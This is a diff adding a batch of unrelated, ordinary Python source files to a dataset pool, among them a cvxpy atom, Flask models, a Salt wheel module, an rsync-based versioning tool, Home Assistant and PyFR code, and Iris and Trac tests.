+        """Always positive.
+        """
+        return u.Sign.POSITIVE
+
+    def func_curvature(self):
+        """Default curvature.
+        """
+        return u.Curvature.CONVEX
+
+    def monotonicity(self):
+        """Neither increasing nor decreasing.
+        """
+        return [u.monotonicity.NONMONOTONIC]
+
+    @staticmethod
+    def graph_implementation(arg_objs, size, data=None):
+        """Reduces the atom to an affine expression and list of constraints.
+
+        Parameters
+        ----------
+        arg_objs : list
+            LinExpr for each argument.
+        size : tuple
+            The size of the resulting expression.
+        data :
+            Additional data required by the atom.
+
+        Returns
+        -------
+        tuple
+            (LinOp for objective, list of constraints)
+        """
+        A = arg_objs[0] # n by m matrix.
+        n, m = A.size
+        # Create a matrix with Schur complement I*t - (1/t)*A.T*A.
+        X = lu.create_var((n+m, n+m))
+        t = lu.create_var((1, 1))
+        constraints = []
+        # Fix X using the fact that A must be affine by the DCP rules.
+        # X[0:n, 0:n] == I_n*t
+        prom_t = lu.promote(t, (n, 1))
+        index.block_eq(X, lu.diag_vec(prom_t), constraints,
+                       0, n, 0, n)
+        # X[0:n, n:n+m] == A
+        index.block_eq(X, A, constraints,
+                       0, n, n, n+m)
+        # X[n:n+m, n:n+m] == I_m*t
+        prom_t = lu.promote(t, (m, 1))
+        index.block_eq(X, lu.diag_vec(prom_t), constraints,
+                       n, n+m, n, n+m)
+        # Add SDP constraint.
+        return (t, constraints + [SDP(X)])
diff --git a/pool/shard000/Python/0007958_models.py b/pool/shard000/Python/0007958_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..3f7102f0f9607af69c91787bf66dadce3fcc9246
--- /dev/null
+++ b/pool/shard000/Python/0007958_models.py
@@ -0,0 +1,35 @@
+from app import db
+
+class User(db.Model):
+    id = db.Column(db.Integer, primary_key = True)
+    nickname = db.Column(db.String(64), index = True, unique = True)
+    email = db.Column(db.String(120), index = True, unique = True)
+    posts = db.relationship('Post', backref='author', lazy='dynamic')
+
+    def is_authenticate(self):
+        return True
+    
+    def is_active(self):
+        return True;
+
+    def is_anonymous(self):
+        return False
+
+    def get_id(self):
+        try:
+            return unicode(self.idi)   #python 2 
+        except NameError:
+            return str(self.id)  # for python 3
+
+    def __repr__(self):
+        return '<User %r>' % (self.nickname)
+
+
+class Post(db.Model):
+    id = db.Column(db.Integer, primary_key = True)
+    body = db.Column(db.String(140))
+    timestamp = db.Column(db.DateTime)
+    user_id = db.Column(db.Integer, db.ForeignKey('user.id'))
+
+    def __repr__(self):
+        return '<Post %r>' % (self.body)
diff --git a/pool/shard000/Python/0007962_search.py b/pool/shard000/Python/0007962_search.py
new file mode 100644
index 0000000000000000000000000000000000000000..902620be6c48b7cfbf4e7dfd461ba50ab27ad8b4
--- /dev/null
+++ b/pool/shard000/Python/0007962_search.py
@@ -0,0 +1,74 @@
+import simplejson
+import re
+from itertools import cycle
+
+from django.core.urlresolvers import reverse
+
+from molly.apps.library.models import LibrarySearchQuery
+
+def validate_isxn(s):
+
+    def encode(s):
+        return ''.join(str(d) if d < 10 else 'X' for d in s)
+    def decode(s):
+        return [10 if d=='X' else int(d) for d in s]
+    def isxn_checksum(s, initial=None):
+        if not initial:
+            initial = len(s)
+        cs = 0
+        for d in s:
+            cs, initial = (cs + (d*initial)) % 11, initial - 1
+        return cs
+    def ean_checksum(s):
+        return sum(d*m for d,m in zip(s, cycle([1,3]))) % 10
+
+    s = re.sub('[*#]', 'X', s.replace('-','').strip().upper())
+    if not re.match("97[789]\d{10}|\d{7}(\d{2})?[\dX]$", s):
+        return None, None
+    s = decode(s)
+
+    if len(s) == 13:
+        if ean_checksum(s) != 0:
+            return None, None
+        if s[2] == 7:
+            s = s[3:10] + [(11-isxn_checksum(s[3:10], initial=8)) % 11]
+            return encode(s), 'issn'
+        else:
+            return encode(s), 'isbn'
+    else:
+        cs, n = 0, len(s)
+        for d in s:
+            cs, n = (cs + (d*n)) % 11, n - 1
+        if cs != 0:
+            return None, None
+        return encode(s), ('issn' if len(s) == 8 else 'isbn')
+
+# Application Search
+class ApplicationSearch(object):
+    
+    def __init__(self, application):
+        self.conf = application
+    
+    def perform_search(self, request, query, only_app):
+        number, number_type = validate_isxn(query)
+        if not number_type:
+            return []
+        else:
+            query = {
+                number_type: number
+            }
+        
+        query = LibrarySearchQuery(**query)
+        
+        results = []
+        for item in self.conf.provider.library_search(query):
+            results.append({
+                'title': item.title,
+                'redirect_if_sole_result': True,
+                'application': 'library',
+                'excerpt': '',
+                'additional': '<strong>Library item</strong>, Publisher: %s' % item.publisher,
+                'url': reverse('library:item-detail', args=[item.control_number]),
+            })
+        
+        return results
diff --git a/pool/shard000/Python/0007965_insolater.py b/pool/shard000/Python/0007965_insolater.py
new file mode 100644
index 0000000000000000000000000000000000000000..7f66289732f7852190b8f91e115d13774562452f
--- /dev/null
+++ b/pool/shard000/Python/0007965_insolater.py
@@ -0,0 +1,201 @@
+from __future__ import absolute_import
+from __future__ import print_function
+
+import os
+import shutil
+import subprocess
+import getpass
+import pexpect
+from insolater import version_tools as vt
+
+
+class Insolater(object):
+    _CMD = "inso"
+    _NOT_INIT_MESSAGE = "No session found. See '{cmd} init <remote changes>'".format(cmd=_CMD)
+    _ALREADY_INIT_MESSAGE = (
+        "Already initialized. To end session use: {cmd} exit [<remote backup>]".format(cmd=_CMD))
+
+    def __init__(self, repo=".insolater_repo", timeout=5, filepattern="."):
+        self.repo = os.path.normpath(repo)
+        self.timeout = timeout
+        self.filepattern = filepattern.split()
+        #TODO: _get_repo_path()
+        #: make an .inso_include file
+        #:: inso pattern [--add|set|clear|all]      none
+        #: keep track of current version
+        #:: don't allow edits to ORIG
+        #::: either Update ORIG, Discard, Move to CHANGES, or Send to remote
+        #TODO: apply (merge changes into ORIG)
+
+    def init(self, remote_changes=None):
+        """Create repo and store original files.  Optionally retrieve version remotely."""
+        self._verify_repo_exists(False)
+        vt.init(self.repo)
+        if remote_changes:
+            self.pull_version(remote_changes)
+        return "Initialized repository with versions: original"
+
+    def current_version(self):
+        """Returns the current version."""
+        self._verify_repo_exists(True)
+        return vt.current_version(self.repo)
+
+    def all_versions(self):
+        self._verify_repo_exists(True)
+        return vt.all_versions(self.repo)
+
+    def change_version(self, version):
+        """Save changes and switch to the specified version."""
+        self._verify_repo_exists(True)
+        #TODO: save changes? when in original
+        if vt.current_version(self.repo) == 'original':
+            vt.save_version(self.repo, '_original_edit')
+        else:
+            vt.save_version(self.repo)
+        vt.open_version(self.repo, version)
+        if vt.current_version(self.repo) == version:
+            return "Switched to %s" % version
+        else:
+            return "Version not found: %s" % version
+
+    def save_version(self, version='', overwrite=None):
+        """Save/create and open a version with the specified name.
+        Fails if version name starts with '_'.
+        Prompts if version already exists unless overwrite is set."""
+        self._verify_repo_exists(True)
+        #TODO: better version name checking
+        cv = vt.current_version(self.repo)
+        version = version or cv
+        if version[0] == '_':
+            return "Invalid version name: %s" % version
+        if not vt.is_version(self.repo, version):
+            vt.save_version(self.repo, version)
+            vt.open_version(self.repo, version)
+            return "Version %s created and opened" % version
+        if overwrite is None:
+            discard = raw_input("Do you want to overwrite changes (y/[n]): ")
+            overwrite = discard.lower() != 'y'
+        if overwrite:
+            vt.save_version(self.repo, version)
+            vt.open_version(self.repo, version)
+            return "Version %s saved and opened" % version
+        return "Aborted to avoid overwriting."
+
+    def delete_version(self, version):
+        """Delete the specified version.
+        Fail if the version does not exists, version is 'original' or it is the current version."""
+        self._verify_repo_exists(True)
+        if not vt.is_version(self.repo, version):
+            return "Version not found: %s" % version
+        if vt.current_version(self.repo) == version:
+            return "Cannot delete current version: %s" % version
+        if version == 'original':
+            return "Cannot delete original version"
+        vt.delete_version(self.repo, version)
+        return "Version %s deleted" % version
+
+    def pull_version(self, remote_changes, version=''):
+        """Pull remote changes into specified version.
+        If no version is specified pull into current version."""
+        self._verify_repo_exists(True)
+        cv = vt.current_version(self.repo)
+        if version:
+            self.save_version(version)
+            self.change_version(version)
+        for f in os.listdir('.'):
+            if f != self.repo:
+                if os.path.isdir(f):
+                    shutil.rmtree(f)
+                else:
+                    os.remove(f)
+        retv = self._run("rsync -Pravdtze ssh {0}/* .".format(os.path.normpath(remote_changes)))[0]
+        if version != '' and version != cv:
+            self.change_version(cv)
+        if (retv != 0):
+            raise Exception("Failed to sync changes")
+        return "Pulled updates"
+
+    def push_version(self, remote_location, version=''):
+        """Push specified version to remote location.
+        If no version is specified push the current version."""
+        self._verify_repo_exists(True)
+        cv = vt.current_version(self.repo)
+        if version and version != cv:
+            if not vt.is_version(self.repo, version):
+                return "Version not found: %s" % version
+            self.change_version(version)
+        pswd = getpass.getpass(remote_location.split(':')[0] + "'s password:")
+        transfer_str = ""
+        for f in os.listdir('.'):
+            if f == self.repo:
+                continue
+            rsync = "rsync -R -Pravdtze ssh " + f + " " + remote_location
+            exitstatus = 0
+            try:
+                exitstatus = self._run_with_password(rsync, pswd, self.timeout)[0]
+            except pexpect.TIMEOUT:
+                raise Exception("Aborted (File transfer timeouted out)")
+            finally:
+                self.change_version(cv)
+            if exitstatus != 0:
+                transfer_str += f + " \t\tFailed to transfer\n"
+                raise Exception(transfer_str + "Aborted (File transfer failed).")
+            transfer_str += f + " \t\ttransfered\n"
+        return transfer_str
+
+    def exit(self, version='original', discard_changes=None):
+        """Open original or specified version files, and delete all other versions
+        (delete repo)."""
+        self._verify_repo_exists(True)
+        if not vt.is_version(self.repo, version):
+            return "Version not found: %s" % version
+        if discard_changes is None:
+            discard = raw_input("Do you want to discard all changes (y/[n]): ")
+            discard_changes = discard.lower() == 'y'
+        if not discard_changes:
+            return "Aborted to avoid discarding changes."
+        vt.open_version(self.repo, version)
+        shutil.rmtree(self.repo)
+        return "Session Ended"
+
+    def _verify_repo_exists(self, exists):
+        """(may change pythons current directory).
+        raise an exception if the repo does not have the specfied state of being."""
+        if exists:
+            if not os.path.exists(self.repo):
+                if os.getcwd() == '/':
+                    raise Exception(Insolater._NOT_INIT_MESSAGE)
+                else:
+                    os.chdir('..')
+                    self._verify_repo_exists(exists)
+        else:
+            if os.path.exists(self.repo):
+                raise Exception(Insolater._ALREADY_INIT_MESSAGE)
+
+    def _run(self, command):
+        """Replace instances of {repo} with self.repo and run the command."""
+        command = command.format(repo=self.repo)
+        proc = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE,
+                                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        out, err = proc.communicate()
+        exit_code = proc.poll()
+        return exit_code, out, err
+
+    def _run_git(self, command):
+        """Runs git --git-dir={repo} command."""
+        return self._run("git --git-dir={repo} " + command)
+
+    def _run_git_add(self):
+        """Runs git --git-dir={repo} add -A for each filepattern."""
+        sh = ""
+        for fp in self.filepattern:
+            sh += "git --git-dir={repo} add -A " + fp + ";".format(fp)
+        return self._run(sh)
+
+    def _run_with_password(self, command, pswd, timeout=5):
+        """Replace instances of {repo} with self.repo and run the command using the password."""
+        proc = pexpect.spawn(command.format(repo=self.repo))
+        proc.expect('password:')
+        proc.sendline(pswd)
+        proc.expect(pexpect.EOF, timeout=timeout)
+        return proc.isalive(), proc.read(), ''
diff --git a/pool/shard000/Python/0007968_elements.py b/pool/shard000/Python/0007968_elements.py
new file mode 100644
index 0000000000000000000000000000000000000000..fbdacaf6b41f6f54dbc2cfff33ad72a500408ff4
--- /dev/null
+++ b/pool/shard000/Python/0007968_elements.py
@@ -0,0 +1,71 @@
+# -*- coding: utf-8 -*-
+
+from pyfr.solvers.baseadvec import BaseAdvectionElements
+
+
+class BaseFluidElements(object):
+    privarmap = {2: ['rho', 'u', 'v', 'p'],
+                 3: ['rho', 'u', 'v', 'w', 'p']}
+
+    convarmap = {2: ['rho', 'rhou', 'rhov', 'E'],
+                 3: ['rho', 'rhou', 'rhov', 'rhow', 'E']}
+
+    visvarmap = {
+        2: {'density': ['rho'],
+            'velocity': ['u', 'v'],
+            'pressure': ['p']},
+        3: {'density': ['rho'],
+            'velocity': ['u', 'v', 'w'],
+            'pressure': ['p']}
+    }
+
+    @staticmethod
+    def pri_to_conv(pris, cfg):
+        rho, p = pris[0], pris[-1]
+
+        # Multiply velocity components by rho
+        rhovs = [rho*c for c in pris[1:-1]]
+
+        # Compute the energy
+        gamma = cfg.getfloat('constants', 'gamma')
+        E = p/(gamma - 1) + 0.5*rho*sum(c*c for c in pris[1:-1])
+
+        return [rho] + rhovs + [E]
+
+    @staticmethod
+    def conv_to_pri(convs, cfg):
+        rho, E = convs[0], convs[-1]
+
+        # Divide momentum components by rho
+        vs = [rhov/rho for rhov in convs[1:-1]]
+
+        # Compute the pressure
+        gamma = cfg.getfloat('constants', 'gamma')
+        p = (gamma - 1)*(E - 0.5*rho*sum(v*v for v in vs))
+
+        return [rho] + vs + [p]
+
+
+class EulerElements(BaseFluidElements, BaseAdvectionElements):
+    def set_backend(self, backend, nscalupts):
+        super().set_backend(backend, nscalupts)
+
+        # Register our flux kernel
+        backend.pointwise.register('pyfr.solvers.euler.kernels.tflux')
+
+        # Template parameters for the flux kernel
+        tplargs = dict(ndims=self.ndims, nvars=self.nvars,
+                       c=self.cfg.items_as('constants', float))
+
+        if 'flux' in self.antialias:
+            self.kernels['tdisf'] = lambda: backend.kernel(
+                'tflux', tplargs=tplargs, dims=[self.nqpts, self.neles],
+                u=self._scal_qpts, smats=self.smat_at('qpts'),
+                f=self._vect_qpts
+            )
+        else:
+            self.kernels['tdisf'] = lambda: backend.kernel(
+                'tflux', tplargs=tplargs, dims=[self.nupts, self.neles],
+                u=self.scal_upts_inb, smats=self.smat_at('upts'),
+                f=self._vect_upts
+            )
diff --git a/pool/shard000/Python/0007972_binary_sensor.py b/pool/shard000/Python/0007972_binary_sensor.py
new file mode 100644
index 0000000000000000000000000000000000000000..fd28ff74cf4c534925365a40013f4fb9e7394419
--- /dev/null
+++ b/pool/shard000/Python/0007972_binary_sensor.py
@@ -0,0 +1,58 @@
+"""Reads vehicle status from StarLine API."""
+from homeassistant.components.binary_sensor import (
+    BinarySensorDevice,
+    DEVICE_CLASS_DOOR,
+    DEVICE_CLASS_LOCK,
+    DEVICE_CLASS_PROBLEM,
+    DEVICE_CLASS_POWER,
+)
+from .account import StarlineAccount, StarlineDevice
+from .const import DOMAIN
+from .entity import StarlineEntity
+
+SENSOR_TYPES = {
+    "hbrake": ["Hand Brake", DEVICE_CLASS_POWER],
+    "hood": ["Hood", DEVICE_CLASS_DOOR],
+    "trunk": ["Trunk", DEVICE_CLASS_DOOR],
+    "alarm": ["Alarm", DEVICE_CLASS_PROBLEM],
+    "door": ["Doors", DEVICE_CLASS_LOCK],
+}
+
+
+async def async_setup_entry(hass, entry, async_add_entities):
+    """Set up the StarLine sensors."""
+    account: StarlineAccount = hass.data[DOMAIN][entry.entry_id]
+    entities = []
+    for device in account.api.devices.values():
+        for key, value in SENSOR_TYPES.items():
+            if key in device.car_state:
+                sensor = StarlineSensor(account, device, key, *value)
+                if sensor.is_on is not None:
+                    entities.append(sensor)
+    async_add_entities(entities)
+
+
+class StarlineSensor(StarlineEntity, BinarySensorDevice):
+    """Representation of a StarLine binary sensor."""
+
+    def __init__(
+        self,
+        account: StarlineAccount,
+        device: StarlineDevice,
+        key: str,
+        name: str,
+        device_class: str,
+    ):
+        """Constructor."""
+        super().__init__(account, device, key, name)
+        self._device_class = device_class
+
+    @property
+    def device_class(self):
+        """Return the class of the binary sensor."""
+        return self._device_class
+
+    @property
+    def is_on(self):
+        """Return the state of the binary sensor."""
+        return self._device.car_state.get(self._key)
diff --git a/pool/shard000/Python/0007975_main.py b/pool/shard000/Python/0007975_main.py
new file mode 100644
index 0000000000000000000000000000000000000000..48e37bbd0cfd74bd02a0b3f917607f71f23189dc
--- /dev/null
+++ b/pool/shard000/Python/0007975_main.py
@@ -0,0 +1,147 @@
+#
+# main.py
+#	Main driver for WWW-Usenet interface
+#
+import os, sys, time
+import chore
+from chore.loadxml import XMLHandler, justascii
+from chore.authen import Authen_mixin, Authen_Server_mixin
+from chore.utils import uncharenc
+from xml import sax
+from get import GET_mixin
+from post import POST_mixin
+
+# Tie our various handlers together
+class App_Handler(chore.handlers.Chore_Handler,
+        GET_mixin, POST_mixin, Authen_mixin):
+    def __init__(self, conn, tup, approot):
+
+	chore.handlers.Chore_Handler.__init__(self, conn, tup, approot,
+	    (GET_mixin.__init__, POST_mixin.__init__,
+             Authen_mixin.__init__))
+
+# Parse xiph.org XML directory
+class DirLoader(XMLHandler):
+    def __init__(self, stations):
+	self.stations = stations
+        XMLHandler.__init__(self)
+        for path,typ,dest in (
+                ( ("server_name",), "str", "server" ),
+                ( ("listen_url",), "str", "url" ),
+                ( ("server_type",), "str", "encoding" ),
+                ( ("bitrate",), "int0", "bitrate" ),
+        ):
+            self.dispatchers[path] = (typ, dest)
+
+    # Another station; there can be multiple under one name,
+    #  with various bitrates and encodings
+    def insert_elem(self, d):
+        s = d.get('server')
+        if not s:
+            # Malformed
+            return
+        s = uncharenc(s)
+	tup = (d['encoding'], d['bitrate'], d['url'])
+	if s in self.stations:
+	    self.stations[s].append(tup)
+	else:
+	    self.stations[s] = [tup]
+
+# Load our configuration file
+#
+# This includes configuring our config file elements,
+#  then processing the supplied file.
+def load_cfg(fn):
+
+    # A configurator
+    c = chore.config.Config()
+
+    # Let the web network side add its config entries
+    chore.www.add_config(c)
+
+    # Here's how our config file looks
+    c.onearg.add( ("dir",) )
+    c.mults.add( ("dir",) )
+
+    # Parse the input
+    return c.load_cfg(fn)
+
+# Root of our app server
+#
+# stations{} - Map from station name to list of tuples:
+#	(encoding, bitrate, URL)
+# urls{} - Map from URL to station name
+class App(chore.server.Server, Authen_Server_mixin):
+
+    def __init__(self, config):
+	# Let Chore handle most things
+	chore.server.Server.__init__(self, config, App_Handler);
+
+        # Also authentication
+        Authen_Server_mixin.__init__(self)
+        self.authentication.append( Authen_mixin.auth_server )
+        self.init_acct_server()
+
+# Load XML directory, xiph.org format
+def load_xml(fn):
+    stations = {}
+
+    f = open(fn, "r")
+    loader = DirLoader(stations)
+    sax.parse(f, loader)
+    f.close()
+
+    return stations
+
+if __name__ == "__main__":
+    if len(sys.argv) != 2:
+	sys.stderr.write("Usage is: %s <config-file>\n" %
+	    (sys.argv[0],))
+	sys.exit(1)
+
+    # Create the server with config
+    app = App(load_cfg(sys.argv[1]))
+
+    # All our tunable stations
+    app.stations = {}
+
+    # Load our station directories
+    print "Loading station directories..."
+    for d in app.config['dir']:
+	print " ", d
+
+	# URL; fetch XML via curl
+	if d.startswith('http'):
+	    # Place into name based on last element of URL
+	    parts = d.split('/')
+	    destfn = 'var/' + parts[-1]
+	    if not os.access(destfn, os.R_OK):
+		sys.stderr.write("Retrieving %s into %s...\n" % (d, destfn))
+		urllib.urlretrieve(d, destfn)
+		sys.stderr.write(" ...done\n")
+
+	    # Load the XML from that URL
+	    res = load_xml(destfn)
+
+	else:
+
+	    # Load local file
+	    res = load_xml(d)
+
+	# Roll them in
+	app.stations.update(res)
+
+    # Create set of URL's for verifying before getting metadata
+    urls = app.urls = {}
+    for sname,tups in app.stations.iteritems():
+	for tup in tups:
+	    urls[tup[2]] = sname
+
+    # It's an HTTP service
+    app.start_http()
+
+    # HTTP servers each get their own thread.
+    # We could run a CLI here and like, dunno,
+    #  do stuff?
+    while True:
+	time.sleep(60)
diff --git a/pool/shard000/Python/0007977_pillar_roots.py b/pool/shard000/Python/0007977_pillar_roots.py
new file mode 100644
index 0000000000000000000000000000000000000000..aad744ac387a220fb2503f6942aaaa39610cd0f0
--- /dev/null
+++ b/pool/shard000/Python/0007977_pillar_roots.py
@@ -0,0 +1,146 @@
+# -*- coding: utf-8 -*-
+'''
+The `pillar_roots` wheel module is used to manage files under the pillar roots
+directories on the master server.
+'''
+
+# Import python libs
+import os
+
+# Import salt libs
+import salt.utils
+
+
+def find(path, saltenv='base', env=None):
+    '''
+    Return a dict of the files located with the given path and environment
+    '''
+    if env is not None:
+        salt.utils.warn_until(
+            'Boron',
+            'Passing a salt environment should be done using \'saltenv\' '
+            'not \'env\'. This functionality will be removed in Salt Boron.'
+        )
+        # Backwards compatibility
+        saltenv = env
+
+    # Return a list of paths + text or bin
+    ret = []
+    if saltenv not in __opts__['pillar_roots']:
+        return ret
+    for root in __opts__['pillar_roots'][saltenv]:
+        full = os.path.join(root, path)
+        if os.path.isfile(full):
+            # Add it to the dict
+            with salt.utils.fopen(full, 'rb') as fp_:
+                if salt.utils.istextfile(fp_):
+                    ret.append({full: 'txt'})
+                else:
+                    ret.append({full: 'bin'})
+    return ret
+
+
+def list_env(saltenv='base', env=None):
+    '''
+    Return all of the file paths found in an environment
+    '''
+    if env is not None:
+        salt.utils.warn_until(
+            'Boron',
+            'Passing a salt environment should be done using \'saltenv\' '
+            'not \'env\'. This functionality will be removed in Salt Boron.'
+        )
+        # Backwards compatibility
+        saltenv = env
+
+    ret = {}
+    if saltenv not in __opts__['pillar_roots']:
+        return ret
+    for f_root in __opts__['pillar_roots'][saltenv]:
+        ret[f_root] = {}
+        for root, dirs, files in os.walk(f_root):
+            sub = ret[f_root]
+            if root != f_root:
+                # grab subroot ref
+                sroot = root
+                above = []
+                # Populate the above dict
+                while not os.path.samefile(sroot, f_root):
+                    base = os.path.basename(sroot)
+                    if base:
+                        above.insert(0, base)
+                    sroot = os.path.dirname(sroot)
+                for aroot in above:
+                    sub = sub[aroot]
+            for dir_ in dirs:
+                sub[dir_] = {}
+            for fn_ in files:
+                sub[fn_] = 'f'
+    return ret
+
+
+def list_roots():
+    '''
+    Return all of the files names in all available environments
+    '''
+    ret = {}
+    for saltenv in __opts__['pillar_roots']:
+        ret[saltenv] = []
+        ret[saltenv].append(list_env(saltenv))
+    return ret
+
+
+def read(path, saltenv='base', env=None):
+    '''
+    Read the contents of a text file, if the file is binary then
+    '''
+    if env is not None:
+        salt.utils.warn_until(
+            'Boron',
+            'Passing a salt environment should be done using \'saltenv\' '
+            'not \'env\'. This functionality will be removed in Salt Boron.'
+        )
+        # Backwards compatibility
+        saltenv = env
+
+    # Return a dict of paths + content
+    ret = []
+    files = find(path, saltenv)
+    for fn_ in files:
+        full = fn_.keys()[0]
+        form = fn_[full]
+        if form == 'txt':
+            with salt.utils.fopen(full, 'rb') as fp_:
+                ret.append({full: fp_.read()})
+    return ret
+
+
+def write(data, path, saltenv='base', index=0, env=None):
+    '''
+    Write the named file, by default the first file found is written, but the
+    index of the file can be specified to write to a lower priority file root
+    '''
+    if env is not None:
+        salt.utils.warn_until(
+            'Boron',
+            'Passing a salt environment should be done using \'saltenv\' '
+            'not \'env\'. This functionality will be removed in Salt Boron.'
+        )
+        # Backwards compatibility
+        saltenv = env
+
+    if saltenv not in __opts__['pillar_roots']:
+        return 'Named environment {0} is not present'.format(saltenv)
+    if len(__opts__['pillar_roots'][saltenv]) <= index:
+        return 'Specified index {0} in environment {1} is not present'.format(
+                index, saltenv)
+    if os.path.isabs(path):
+        return ('The path passed in {0} is not relative to the environment '
+                '{1}').format(path, saltenv)
+    dest = os.path.join(__opts__['pillar_roots'][saltenv][index], path)
+    dest_dir = os.path.dirname(dest)
+    if not os.path.isdir(dest_dir):
+        os.makedirs(dest_dir)
+    with salt.utils.fopen(dest, 'w+') as fp_:
+        fp_.write(data)
+    return 'Wrote data to file {0}'.format(dest)
diff --git a/pool/shard000/Python/0007981_test_save_messages.py b/pool/shard000/Python/0007981_test_save_messages.py
new file mode 100644
index 0000000000000000000000000000000000000000..d6907a5c5616cdc99101e5ff9ae2d515532f302e
--- /dev/null
+++ b/pool/shard000/Python/0007981_test_save_messages.py
@@ -0,0 +1,62 @@
+# (C) British Crown Copyright 2015, Met Office
+#
+# This file is part of Iris.
+#
+# Iris is free software: you can redistribute it and/or modify it under
+# the terms of the GNU Lesser General Public License as published by the
+# Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# Iris is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with Iris.  If not, see <http://www.gnu.org/licenses/>.
+"""Unit tests for the `iris.fileformats.grib.save_messages` function."""
+
+from __future__ import (absolute_import, division, print_function)
+from six.moves import (filter, input, map, range, zip)  # noqa
+
+# Import iris.tests first so that some things can be initialised before
+# importing anything else.
+import iris.tests as tests
+
+import gribapi
+import mock
+from mock import call
+import numpy as np
+
+import iris.fileformats.grib as grib
+
+
+class TestSaveMessages(tests.IrisTest):
+    def setUp(self):
+        # Create a test object to stand in for a real PPField.
+        self.grib_message = gribapi.grib_new_from_samples("GRIB2")
+
+    def test_save(self):
+        m = mock.mock_open()
+        with mock.patch('__builtin__.open', m, create=True):
+            # sending a MagicMock object to gribapi raises an AssertionError
+            # as the gribapi code does a type check
+            # this is deemed acceptable within the scope of this unit test
+            with self.assertRaises(AssertionError):
+                grib.save_messages([self.grib_message], 'foo.grib2')
+        self.assertTrue(call('foo.grib2', 'wb') in m.mock_calls)
+
+    def test_save_append(self):
+        m = mock.mock_open()
+        with mock.patch('__builtin__.open', m, create=True):
+            # sending a MagicMock object to gribapi raises an AssertionError
+            # as the gribapi code does a type check
+            # this is deemed acceptable within the scope of this unit test
+            with self.assertRaises(AssertionError):
+                grib.save_messages([self.grib_message], 'foo.grib2',
+                                   append=True)
+        self.assertTrue(call('foo.grib2', 'ab') in m.mock_calls)
+
+
+if __name__ == "__main__":
+    tests.main()
diff --git a/pool/shard000/Python/0007982_functional.py b/pool/shard000/Python/0007982_functional.py
new file mode 100644
index 0000000000000000000000000000000000000000..043cf37611cf7aeb89522f25c637e66e120d4a4b
--- /dev/null
+++ b/pool/shard000/Python/0007982_functional.py
@@ -0,0 +1,202 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+#
+# Copyright (C) 2008-2013 Edgewall Software
+# All rights reserved.
+#
+# This software is licensed as described in the file COPYING, which
+# you should have received as part of this distribution. The terms
+# are also available at http://trac.edgewall.org/wiki/TracLicense.
+#
+# This software consists of voluntary contributions made by many
+# individuals. For the exact contribution history, see the revision
+# history and logs, available at http://trac.edgewall.org/log/.
+
+import re
+import unittest
+
+from trac.tests.functional import FunctionalTwillTestCaseSetup, \
+                                  internal_error, tc
+
+
+#TODO: split this into multiple smaller testcases
+class TestPreferences(FunctionalTwillTestCaseSetup):
+    def runTest(self):
+        """Set preferences for admin user"""
+        self._tester.go_to_preferences()
+        tc.notfind('Your preferences have been saved.')
+        tc.formvalue('userprefs', 'name', ' System Administrator ')
+        tc.formvalue('userprefs', 'email', ' admin@example.com ')
+        tc.submit()
+        tc.find('Your preferences have been saved.')
+        self._tester.go_to_preferences("Date & Time")
+        tc.formvalue('userprefs', 'tz', 'GMT -10:00')
+        tc.submit()
+        tc.find('Your preferences have been saved.')
+        self._tester.go_to_preferences()
+        tc.notfind('Your preferences have been saved.')
+        tc.find('value="System Administrator"')
+        tc.find(r'value="admin@example\.com"')
+        self._tester.go_to_preferences("Date & Time")
+        tc.find('GMT -10:00')
+
+
+class RegressionTestRev5785(FunctionalTwillTestCaseSetup):
+    def runTest(self):
+        """Test for regression of the fix in r5785"""
+        self._tester.go_to_preferences()
+        tc.submit('logout', 'logout')
+        tc.notfind(internal_error)  # See [5785]
+        tc.follow('Login')
+
+
+class RegressionTestTicket5765(FunctionalTwillTestCaseSetup):
+    def runTest(self):
+        """Test for regression of http://trac.edgewall.org/ticket/5765
+        Unable to turn off 'Enable access keys' in Preferences
+        """
+        self._tester.go_to_preferences("Keyboard Shortcuts")
+        tc.formvalue('userprefs', 'accesskeys', True)
+        tc.submit()
+        tc.find('name="accesskeys".*checked="checked"')
+        tc.formvalue('userprefs', 'accesskeys', False)
+        tc.submit()
+        tc.notfind('name="accesskeys".*checked="checked"')
+
+
+class RegressionTestTicket11319(FunctionalTwillTestCaseSetup):
+    def runTest(self):
+        """Test for regression of http://trac.edgewall.org/ticket/11319
+        Only alphanumeric characters can be used for session key in advanced
+        panel.
+        """
+        try:
+            self._tester.logout()
+            self._tester.go_to_preferences('Advanced')
+            tc.formvalue('userprefs', 'newsid', 'śeśśion_id')
+            tc.submit('change')
+            tc.notfind(internal_error)
+            tc.find('Session ID must be alphanumeric')
+            self._tester.go_to_preferences('Advanced')
+            tc.formvalue('userprefs', 'loadsid', 'śeśśion_id')
+            tc.submit('restore')
+            tc.notfind(internal_error)
+            tc.find('Session ID must be alphanumeric')
+        finally:
+            self._tester.login('admin')
+
+
+class RegressionTestTicket11337(FunctionalTwillTestCaseSetup):
+    def runTest(self):
+        """Test for regression of http://trac.edgewall.org/ticket/11337
+        The preferences panel will only be visible when Babel is installed
+        or for a user that has `TRAC_ADMIN`.
+        """
+        from trac.util.translation import has_babel, get_available_locales
+
+        babel_hint = "Install Babel for extended language support."
+        catalog_hint = "Message catalogs have not been compiled."
+        language_select = '<select id="language" name="language">'
+        disabled_language_select = \
+            '<select id="language" name="language" disabled="disabled" ' \
+            'title="Translations are currently unavailable">'
+
+        self._tester.go_to_preferences("Language")
+        if has_babel:
+            tc.notfind(babel_hint)
+            if get_available_locales():
+                tc.find(language_select)
+                tc.notfind(catalog_hint)
+            else:
+                tc.find(disabled_language_select)
+                tc.find(catalog_hint)
+        else:
+            tc.find(babel_hint)
+            tc.find(disabled_language_select)
+            tc.notfind(catalog_hint)
+
+        # For users without TRAC_ADMIN, the Language tab should only be
+        # present when Babel is installed
+        self._tester.go_to_preferences()
+        language_tab = '<li id="tab_language">'
+        try:
+            self._tester.logout()
+            if has_babel:
+                tc.find(language_tab)
+                tc.notfind(catalog_hint)
+            else:
+                tc.notfind(language_tab)
+        finally:
+            self._tester.login('admin')
+
+
+class RegressionTestTicket11515(FunctionalTwillTestCaseSetup):
+    def runTest(self):
